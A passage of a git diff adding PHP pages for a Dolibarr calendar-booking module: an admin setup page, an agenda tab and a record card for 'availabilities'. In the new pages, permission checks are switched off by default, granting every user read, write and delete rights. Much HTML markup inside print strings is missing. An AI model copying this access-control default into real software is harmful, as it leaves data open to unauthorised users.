'unsetdoc') { + $tmpobjectkey = GETPOST('object'); + if (!empty($tmpobjectkey)) { + $constforval = 'BOOKCAL_'.strtoupper($tmpobjectkey).'_ADDON_PDF'; + dolibarr_del_const($db, $constforval, $conf->entity); + } +} + + + +/* + * View + */ + +$form = new Form($db); + +$help_url = ''; +$page_name = "BookCalSetup"; + +llxHeader('', $langs->trans($page_name), $help_url); + +// Subheader +$linkback = ''.$langs->trans("BackToModuleList").''; + +print load_fiche_titre($langs->trans($page_name), $linkback, 'title_setup'); + +// Configuration header +$head = bookcalAdminPrepareHead(); +print dol_get_fiche_head($head, 'settings', $langs->trans($page_name), -1, "fa-calendar-check"); + +// Setup page goes here +echo ''.$langs->trans("BookCalSetupPage").'

      '; + + +if ($action == 'edit') { + print $formSetup->generateOutput(true); + print '
      '; +} elseif (!empty($formSetup->items)) { + print $formSetup->generateOutput(); + print '
      '; + print ''.$langs->trans("Modify").''; + print '
      '; +} else { + print '
      '.$langs->trans("NothingToSetup"); +} + + +$moduledir = 'bookcal'; +$myTmpObjects = array(); +$myTmpObjects['MyObject'] = array('includerefgeneration'=>0, 'includedocgeneration'=>0); + + +foreach ($myTmpObjects as $myTmpObjectKey => $myTmpObjectArray) { + if ($myTmpObjectKey == 'MyObject') { + continue; + } + if ($myTmpObjectArray['includerefgeneration']) { + /* + * Orders Numbering model + */ + $setupnotempty++; + + print load_fiche_titre($langs->trans("NumberingModules", $myTmpObjectKey), '', ''); + + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''."\n"; + + clearstatcache(); + + foreach ($dirmodels as $reldir) { + $dir = dol_buildpath($reldir."core/modules/".$moduledir); + + if (is_dir($dir)) { + $handle = opendir($dir); + if (is_resource($handle)) { + while (($file = readdir($handle)) !== false) { + if (strpos($file, 'mod_'.strtolower($myTmpObjectKey).'_') === 0 && substr($file, dol_strlen($file) - 3, 3) == 'php') { + $file = substr($file, 0, dol_strlen($file) - 4); + + require_once $dir.'/'.$file.'.php'; + + $module = new $file($db); + + // Show modules according to features level + if ($module->version == 'development' && $conf->global->MAIN_FEATURES_LEVEL < 2) { + continue; + } + if ($module->version == 'experimental' && $conf->global->MAIN_FEATURES_LEVEL < 1) { + continue; + } + + if ($module->isEnabled()) { + dol_include_once('/'.$moduledir.'/class/'.strtolower($myTmpObjectKey).'.class.php'); + + print ''; + + // Show example of numbering model + print ''."\n"; + + print ''; + + $mytmpinstance = new $myTmpObjectKey($db); + $mytmpinstance->initAsSpecimen(); + + // Info + $htmltooltip = ''; + $htmltooltip .= ''.$langs->trans("Version").': '.$module->getVersion().'
      '; + + $nextval = $module->getNextValue($mytmpinstance); + if ("$nextval" != $langs->trans("NotAvailable")) { // Keep " on nextval + $htmltooltip .= ''.$langs->trans("NextValue").': '; + if ($nextval) { + if (preg_match('/^Error/', $nextval) || $nextval == 'NotConfigured') { + $nextval = $langs->trans($nextval); + } + $htmltooltip .= $nextval.'
      '; + } else { + $htmltooltip .= $langs->trans($module->error).'
      '; + } + } + + print ''; + + print "\n"; + } + } + } + closedir($handle); + } + } + } + print "
      '.$langs->trans("Name").''.$langs->trans("Description").''.$langs->trans("Example").''.$langs->trans("Status").''.$langs->trans("ShortInfo").'
      '.$module->name."\n"; + print $module->info(); + print ''; + $tmp = $module->getExample(); + if (preg_match('/^Error/', $tmp)) { + $langs->load("errors"); + print '
      '.$langs->trans($tmp).'
      '; + } elseif ($tmp == 'NotConfigured') { + print $langs->trans($tmp); + } else { + print $tmp; + } + print '
      '; + $constforvar = 'BOOKCAL_'.strtoupper($myTmpObjectKey).'_ADDON'; + if (getDolGlobalString($constforvar) == $file) { + print img_picto($langs->trans("Activated"), 'switch_on'); + } else { + print ''; + print img_picto($langs->trans("Disabled"), 'switch_off'); + print ''; + } + print ''; + print $form->textwithpicto('', $htmltooltip, 1, 0); + print '

      \n"; + } + + if ($myTmpObjectArray['includedocgeneration']) { + /* + * Document templates generators + */ + $setupnotempty++; + $type = strtolower($myTmpObjectKey); + + print load_fiche_titre($langs->trans("DocumentModules", $myTmpObjectKey), '', ''); + + // Load array def with activated templates + $def = array(); + $sql = "SELECT nom"; + $sql .= " FROM ".MAIN_DB_PREFIX."document_model"; + $sql .= " WHERE type = '".$db->escape($type)."'"; + $sql .= " AND entity = ".$conf->entity; + $resql = $db->query($sql); + if ($resql) { + $i = 0; + $num_rows = $db->num_rows($resql); + while ($i < $num_rows) { + $array = $db->fetch_array($resql); + array_push($def, $array[0]); + $i++; + } + } else { + dol_print_error($db); + } + + print "\n"; + print "\n"; + print ''; + print ''; + print '\n"; + print '\n"; + print ''; + print ''; + print "\n"; + + clearstatcache(); + + foreach ($dirmodels as $reldir) { + foreach (array('', '/doc') as $valdir) { + $realpath = $reldir."core/modules/".$moduledir.$valdir; + $dir = dol_buildpath($realpath); + + if (is_dir($dir)) { + $handle = opendir($dir); + if (is_resource($handle)) { + while (($file = readdir($handle)) !== false) { + $filelist[] = $file; + } + closedir($handle); + arsort($filelist); + + foreach ($filelist as $file) { + if (preg_match('/\.modules\.php$/i', $file) && preg_match('/^(pdf_|doc_)/', $file)) { + if (file_exists($dir.'/'.$file)) { + $name = substr($file, 4, dol_strlen($file) - 16); + $classname = substr($file, 0, dol_strlen($file) - 12); + + require_once $dir.'/'.$file; + $module = new $classname($db); + + $modulequalified = 1; + if ($module->version == 'development' && $conf->global->MAIN_FEATURES_LEVEL < 2) { + $modulequalified = 0; + } + if ($module->version == 'experimental' && $conf->global->MAIN_FEATURES_LEVEL < 1) { + $modulequalified = 0; + } + + if ($modulequalified) { + print ''; + + // Active + if (in_array($name, $def)) { + print ''; + } else { + print '"; + } + + // Default + print ''; + + // Info + $htmltooltip = ''.$langs->trans("Name").': '.$module->name; + $htmltooltip .= '
      '.$langs->trans("Type").': '.($module->type ? $module->type : $langs->trans("Unknown")); + if ($module->type == 'pdf') { + $htmltooltip .= '
      '.$langs->trans("Width").'/'.$langs->trans("Height").': '.$module->page_largeur.'/'.$module->page_hauteur; + } + $htmltooltip .= '
      '.$langs->trans("Path").': '.preg_replace('/^\//', '', $realpath).'/'.$file; + + $htmltooltip .= '

      '.$langs->trans("FeaturesSupported").':'; + $htmltooltip .= '
      '.$langs->trans("Logo").': '.yn($module->option_logo, 1, 1); + $htmltooltip .= '
      '.$langs->trans("MultiLanguage").': '.yn($module->option_multilang, 1, 1); + + print ''; + + // Preview + print ''; + + print "\n"; + } + } + } + } + } + } + } + } + + print '
      '.$langs->trans("Name").''.$langs->trans("Description").''.$langs->trans("Status")."'.$langs->trans("Default")."'.$langs->trans("ShortInfo").''.$langs->trans("Preview").'
      '; + print (empty($module->name) ? $name : $module->name); + print "\n"; + if (method_exists($module, 'info')) { + print $module->info($langs); + } else { + print $module->description; + } + print ''."\n"; + print ''; + print img_picto($langs->trans("Enabled"), 'switch_on'); + print ''; + print ''."\n"; + print 'scandir).'&label='.urlencode($module->name).'">'.img_picto($langs->trans("Disabled"), 'switch_off').''; + print "'; + $constforvar = 'BOOKCAL_'.strtoupper($myTmpObjectKey).'_ADDON'; + if (getDolGlobalString($constforvar) == $name) { + //print img_picto($langs->trans("Default"), 'on'); + // Even if choice is the default value, we allow to disable it. Replace this with previous line if you need to disable unset + print 'scandir).'&label='.urlencode($module->name).'&type='.urlencode($type).'" alt="'.$langs->trans("Disable").'">'.img_picto($langs->trans("Enabled"), 'on').''; + } else { + print 'scandir).'&label='.urlencode($module->name).'" alt="'.$langs->trans("Default").'">'.img_picto($langs->trans("Disabled"), 'off').''; + } + print ''; + print $form->textwithpicto('', $htmltooltip, 1, 0); + print ''; + if ($module->type == 'pdf') { + $newname = preg_replace('/_'.preg_quote(strtolower($myTmpObjectKey), '/').'/', '', $name); + print ''.img_object($langs->trans("Preview"), 'pdf').''; + } else { + print img_object($langs->trans("PreviewNotAvailable"), 'generic'); + } + print '
      '; + } +} + +if (empty($setupnotempty)) { + print '
      '.$langs->trans("NothingToSetup"); +} + +// Page end +print dol_get_fiche_end(); + +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/availabilities_agenda.php b/htdocs/bookcal/availabilities_agenda.php new file mode 100644 index 00000000000..16673d6b8a3 --- /dev/null +++ b/htdocs/bookcal/availabilities_agenda.php @@ -0,0 +1,268 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file availabilities_agenda.php + * \ingroup bookcal + * \brief Tab of events on Availabilities + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/availabilities.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_availabilities.lib.php'; + + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "other")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$action = GETPOST('action', 'aZ09'); +$cancel = GETPOST('cancel', 'aZ09'); +$backtopage = GETPOST('backtopage', 'alpha'); + +if (GETPOST('actioncode', 'array')) { + $actioncode = GETPOST('actioncode', 'array', 3); + if (!count($actioncode)) { + $actioncode = '0'; + } +} else { + $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); +} + +$search_rowid = GETPOST('search_rowid'); +$search_agenda_label = GETPOST('search_agenda_label'); + +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortfield) { + $sortfield = 'a.datep,a.id'; +} +if (!$sortorder) { + $sortorder = 'DESC,DESC'; +} + +// Initialize technical objects +$object = new Availabilities($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('availabilitiesagenda', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->bookcal->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; +} + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->hasRight('bookcal', 'availabilities', 'read'); + $permissiontoadd = $user->hasRight('bookcal', 'availabilities', 'write'); +} else { + $permissiontoread = 1; + $permissiontoadd = 1; +} + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +$parameters = array('id'=>$id); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + // Cancel + if (GETPOST('cancel', 'alpha') && !empty($backtopage)) { + header("Location: ".$backtopage); + exit; + } + + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers + $actioncode = ''; + $search_agenda_label = ''; + } +} + + + +/* + * View + */ + +$form = new Form($db); + +if ($object->id > 0) { + $title = $langs->trans("Agenda"); + //if (! empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; + $help_url = 'EN:Module_Agenda_En|DE:Modul_Terminplanung'; + llxHeader('', $title, $help_url); + + if (!empty($conf->notification->enabled)) { + $langs->load("mails"); + } + $head = availabilitiesPrepareHead($object); + + + print dol_get_fiche_head($head, 'agenda', $langs->trans("Availabilities"), -1, $object->picto); + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) { + $langs->load("projects"); + $morehtmlref.='
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) { + if ($action != 'classify') { + //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + } + $morehtmlref.=' : '; + if ($action == 'classify') { + //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + $morehtmlref.='
      '; + $morehtmlref.=''; + $morehtmlref.=''; + $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref.=''; + $morehtmlref.='
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + print '
      '; + print '
      '; + + $object->info($object->id); + dol_print_object_info($object, 1); + + print '
      '; + + print dol_get_fiche_end(); + + + + // Actions buttons + + $objthirdparty = $object; + $objcon = new stdClass(); + + $out = '&origin='.urlencode($object->element.'@'.$object->module).'&originid='.urlencode($object->id); + $urlbacktopage = $_SERVER['PHP_SELF'].'?id='.$object->id; + $out .= '&backtopage='.urlencode($urlbacktopage); + $permok = $user->rights->agenda->myactions->create; + if ((!empty($objthirdparty->id) || !empty($objcon->id)) && $permok) { + //$out.='trans("AddAnAction"),'filenew'); + //$out.=""; + } + + + print '
      '; + + if (isModEnabled('agenda')) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { + print ''.$langs->trans("AddAction").''; + } else { + print ''.$langs->trans("AddAction").''; + } + } + + print '
      '; + + if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { + $param = '&id='.$object->id.(!empty($socid) ? '&socid='.$socid : ''); + if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); + } + if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); + } + + + //print load_fiche_titre($langs->trans("ActionsOnAvailabilities"), '', ''); + + // List of all actions + $filters = array(); + $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; + + // TODO Replace this with same code than into list.php + show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); + } +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/availabilities_card.php b/htdocs/bookcal/availabilities_card.php new file mode 100644 index 00000000000..ca9fd3bf8db --- /dev/null +++ b/htdocs/bookcal/availabilities_card.php @@ -0,0 +1,576 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file availabilities_card.php + * \ingroup bookcal + * \brief Page to create/edit/view availabilities + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formprojet.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/availabilities.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_availabilities.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "other")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$lineid = GETPOST('lineid', 'int'); + +$action = GETPOST('action', 'aZ09'); +$confirm = GETPOST('confirm', 'alpha'); +$cancel = GETPOST('cancel', 'aZ09'); +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); +$backtopageforcancel = GETPOST('backtopageforcancel', 'alpha'); +$dol_openinpopup = GETPOST('dol_openinpopup', 'aZ09'); + +// Initialize technical objects +$object = new Availabilities($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('availabilitiescard', 'globalcard')); // Note that conf->hooks_modules contains array + +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +$search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); + +// Initialize array of search criterias +$search_all = GETPOST("search_all", 'alpha'); +$search = array(); +foreach ($object->fields as $key => $val) { + if (GETPOST('search_'.$key, 'alpha')) { + $search[$key] = GETPOST('search_'.$key, 'alpha'); + } +} + +if (empty($action) && empty($id) && empty($ref)) { + $action = 'view'; +} + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once. + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->hasRight('bookcal', 'availabilities', 'read'); + $permissiontoadd = $user->hasRight('bookcal', 'availabilities', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php + $permissiontodelete = $user->hasRight('bookcal', 'availabilities', 'delete') || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); + $permissionnote = $user->hasRight('bookcal', 'availabilities', 'write'); // Used by the include of actions_setnotes.inc.php + $permissiondellink = $user->hasRight('bookcal', 'availabilities', 'write'); // Used by the include of actions_dellink.inc.php +} else { + $permissiontoread = 1; + $permissiontoadd = 1; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php + $permissiontodelete = 1; + $permissionnote = 1; + $permissiondellink = 1; +} + +$upload_dir = $conf->bookcal->multidir_output[isset($object->entity) ? $object->entity : 1].'/availabilities'; + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (isset($object->status) && ($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +$parameters = array(); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + $error = 0; + + $backurlforlist = dol_buildpath('/bookcal/availabilities_list.php', 1); + + if (empty($backtopage) || ($cancel && empty($id))) { + if (empty($backtopage) || ($cancel && strpos($backtopage, '__ID__'))) { + if (empty($id) && (($action != 'add' && $action != 'create') || $cancel)) { + $backtopage = $backurlforlist; + } else { + $backtopage = dol_buildpath('/bookcal/availabilities_card.php', 1).'?id='.((!empty($id) && $id > 0) ? $id : '__ID__'); + } + } + } + + $triggermodname = 'BOOKCAL_AVAILABILITIES_MODIFY'; // Name of trigger action code to execute when we modify record + + // Actions cancel, add, update, update_extras, confirm_validate, confirm_delete, confirm_deleteline, confirm_clone, confirm_close, confirm_setdraft, confirm_reopen + include DOL_DOCUMENT_ROOT.'/core/actions_addupdatedelete.inc.php'; + + // Actions when linking object each other + include DOL_DOCUMENT_ROOT.'/core/actions_dellink.inc.php'; + + // Actions when printing a doc from card + include DOL_DOCUMENT_ROOT.'/core/actions_printing.inc.php'; + + // Action to move up and down lines of object + //include DOL_DOCUMENT_ROOT.'/core/actions_lineupdown.inc.php'; + + // Action to build doc + include DOL_DOCUMENT_ROOT.'/core/actions_builddoc.inc.php'; + + if ($action == 'set_thirdparty' && $permissiontoadd) { + $object->setValueFrom('fk_soc', GETPOST('fk_soc', 'int'), '', '', 'date', '', $user, $triggermodname); + } + if ($action == 'classin' && $permissiontoadd) { + $object->setProject(GETPOST('projectid', 'int')); + } + + // Actions to send emails + $triggersendname = 'BOOKCAL_AVAILABILITIES_SENTBYMAIL'; + $autocopy = 'MAIN_MAIL_AUTOCOPY_AVAILABILITIES_TO'; + $trackid = 'availabilities'.$object->id; + include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; +} + + + + +/* + * View + * + * Put here all code to build page + */ + +$form = new Form($db); +$formfile = new FormFile($db); +$formproject = new FormProjets($db); + +$title = $langs->trans("Availabilities"); +$help_url = ''; +llxHeader('', $title, $help_url); + +// Example : Adding jquery code +// print ''; + + +// Part to create +if ($action == 'create') { + if (empty($permissiontoadd)) { + accessforbidden($langs->trans('NotEnoughPermissions'), 0, 1); + exit; + } + + print load_fiche_titre($langs->trans("NewObject", $langs->transnoentitiesnoconv("Availabilities")), '', 'object_'.$object->picto); + + print '
      '; + print ''; + print ''; + if ($backtopage) { + print ''; + } + if ($backtopageforcancel) { + print ''; + } + + print dol_get_fiche_head(array(), ''); + + // Set some default values + //if (! GETPOSTISSET('fieldname')) $_POST['fieldname'] = 'myvalue'; + + print ''."\n"; + + // Common attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_add.tpl.php'; + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; + + print '
      '."\n"; + + print dol_get_fiche_end(); + + print $form->buttonsSaveCancel("Create"); + + print '
      '; + + //dol_set_focus('input[name="ref"]'); +} + +// Part to edit record +if (($id || $ref) && $action == 'edit') { + print load_fiche_titre($langs->trans("Availabilities"), '', 'object_'.$object->picto); + + print '
      '; + print ''; + print ''; + print ''; + if ($backtopage) { + print ''; + } + if ($backtopageforcancel) { + print ''; + } + + print dol_get_fiche_head(); + + print ''."\n"; + + // Common attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_edit.tpl.php'; + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_edit.tpl.php'; + + print '
      '; + + print dol_get_fiche_end(); + + print $form->buttonsSaveCancel(); + + print '
      '; +} + +// Part to show record +if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'create'))) { + $res = $object->fetch_optionals(); + + $head = availabilitiesPrepareHead($object); + print dol_get_fiche_head($head, 'card', $langs->trans("Availabilities"), -1, $object->picto); + + $formconfirm = ''; + + // Confirmation to delete + if ($action == 'delete') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('DeleteAvailabilities'), $langs->trans('ConfirmDeleteObject'), 'confirm_delete', '', 0, 1); + } + // Confirmation to delete line + if ($action == 'deleteline') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id.'&lineid='.$lineid, $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_deleteline', '', 0, 1); + } + + // Clone confirmation + if ($action == 'clone') { + // Create an array for form + $formquestion = array(); + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneAsk', $object->ref), 'confirm_clone', $formquestion, 'yes', 1); + } + + if ($action == 'generate') { + print ' Link : '. DOL_DOCUMENT_ROOT.'/public/bookcal/booking.php?id='.$object->id . '' ; + } + + // Confirmation of action xxxx (You can use it for xxx = 'close', xxx = 'reopen', ...) + if ($action == 'xxx') { + $text = $langs->trans('ConfirmActionAvailabilities', $object->ref); + /*if (! empty($conf->notification->enabled)) + { + require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; + $notify = new Notify($db); + $text .= '
      '; + $text .= $notify->confirmMessage('AVAILABILITIES_CLOSE', $object->socid, $object); + }*/ + + $formquestion = array(); + /* + $forcecombo=0; + if ($conf->browser->name == 'ie') $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy + $formquestion = array( + // 'text' => $langs->trans("ConfirmClone"), + // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), + // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), + // array('type' => 'other', 'name' => 'idwarehouse', 'label' => $langs->trans("SelectWarehouseForStockDecrease"), 'value' => $formproduct->selectWarehouses(GETPOST('idwarehouse')?GETPOST('idwarehouse'):'ifone', 'idwarehouse', '', 1, 0, 0, '', 0, $forcecombo)) + ); + */ + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('XXX'), $text, 'confirm_xxx', $formquestion, 0, 1, 220); + } + + // Call Hook formConfirm + $parameters = array('formConfirm' => $formconfirm, 'lineid' => $lineid); + $reshook = $hookmanager->executeHooks('formConfirm', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $formconfirm .= $hookmanager->resPrint; + } elseif ($reshook > 0) { + $formconfirm = $hookmanager->resPrint; + } + + // Print form confirm + print $formconfirm; + + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) { + $langs->load("projects"); + $morehtmlref .= '
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) { + //if ($action != 'classify') $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' '; + $morehtmlref .= ' : '; + if ($action == 'classify') { + //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 0, 1, '', 'maxwidth300'); + $morehtmlref .= '
      '; + $morehtmlref .= ''; + $morehtmlref .= ''; + $morehtmlref .= $formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref .= ''; + $morehtmlref .= '
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + + print '
      '; + print '
      '; + print '
